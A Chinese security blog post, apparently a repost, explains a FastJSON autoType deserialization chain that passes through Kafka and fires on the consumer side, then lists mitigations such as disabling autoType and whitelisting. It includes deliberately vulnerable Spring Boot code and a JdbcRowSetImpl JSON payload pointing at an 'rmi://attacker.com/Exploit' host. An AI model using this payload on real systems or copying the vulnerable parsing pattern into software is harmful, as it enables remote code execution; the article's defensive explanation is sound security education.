FastJSON + MQ 实现反序列化漏洞攻击链

admin 2025年4月25日10:18:00评论1 views字数 1744阅读5分48秒阅读模式

🚨 利用 FastJSON + MQ 实现反序列化漏洞攻击链

在现代微服务架构中,消息中间件(如 Kafka、RocketMQ、RabbitMQ)被广泛用于服务解耦与异步通信。然而,这也带来了新的攻击面,尤其是当与 FastJSON 等存在反序列化风险的 JSON 解析库结合时,可能形成一种 延迟触发型反序列化漏洞

本文将详细分析攻击链的构造方式,说明漏洞触发点、利用方式,并提供修复建议。

🧩 一、攻击场景

常见的 Spring Boot + Kafka + FastJSON 场景:

✉️ 生产者端代码

@PostMapping("/send")publicvoidsendPayload(@RequestParam String payload){    Object data = JSON.parse(payload); // FastJSON 反序列化    kafkaTemplate.send("vuln-topic", data);}

📬 消费者端代码

@KafkaListener(topics = "vuln-topic")publicvoidonMessage(Object msg){    System.out.println("接收数据: " + msg.toString());}

🔍 二、漏洞分析

✅ 漏洞触发点

  • JSON.parse(payload) 是 FastJSON 的反序列化入口
  • 如果传入的 JSON 字符串中包含 @type 字段,FastJSON 会根据类型实例化指定类。

❓ 为什么消费端也有风险?

即使生产端 parse 后没触发异常,但消息体中保存的是“有毒”的对象。只要消费端调用:

  • .toString()
  • .equals()
  • .hashCode()
  • 或使用对象中的属性

就可能触发类中的恶意逻辑(比如构造方法、getter 方法)从而实现 远程代码执行(RCE)

💣 如果传入JdbcRowSetImpl

{"@type""com.sun.rowset.JdbcRowSetImpl","dataSourceName""rmi://attacker.com/Exploit","autoCommit"true}

该类会在实例化时触发 RMI 连接,进而加载并执行远程类 —— 实现 RCE!

如果对为何在消费端才触发有疑问 👉 渗透测试 FastJSON 是个“延时炸弹” ?

🔗 三、攻击链流程

[Attacker] → POST /send?payload=恶意JSON         ↓FastJSON.parse(payload)  ← 触发点1         ↓KafkaTemplate.send("vuln-topic", Object/*反序列化对象写入 Kafka Topic */         ↓KafkaListener 收到消息         ↓msg.toString() → 恶意对象触发构造逻辑(RCE) ← 触发点2

🛠️ 四、防御方案

✅ 1. 禁用 autoType

ParserConfig.getGlobalInstance().setAutoTypeSupport(false);

✅ 2. 启用白名单

ParserConfig.getGlobalInstance().addAccept("com.safe.model.");

✅ 3. 避免使用 Object 类型

UserDTO dto = JSON.parseObject(payload, UserDTO.class);

✅ 4. 升级 FastJSON 至最新版(推荐 >1.2.83)

新版 FastJSON 已修复多数 autoType 漏洞,默认禁用。

✅ 5. MQ 消费端增加类型校验

  • 消费端接收到消息后,先验证对象是否属于预期类型
  • 拒绝处理未知或不受信任的数据结构

📌 五、总结

FastJSON 的 autoType 功能虽然强大,却也带来了潜在的高危反序列化风险。结合 MQ 后,漏洞链条具备了“异步、延迟、跨系统”触发的特点,危险性更高。

建议
说明
明确指定反序列化目标类
不使用 Object
拒绝外部 @type 字段
使用安全配置屏蔽类型猜测
设置 FastJSON 安全配置项
启用白名单、防止自动加载类
加强 MQ 消费端安全审计
对消息结构进行白名单校验
配合安全扫描工具审查代码
如 Semgrep、SonarQube 等

原文始发于微信公众号(季升安全):FastJSON + MQ 实现反序列化漏洞攻击链

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年4月25日10:18:00
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   FastJSON + MQ 实现反序列化漏洞攻击链http://cn-sec.com/archives/3997309.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息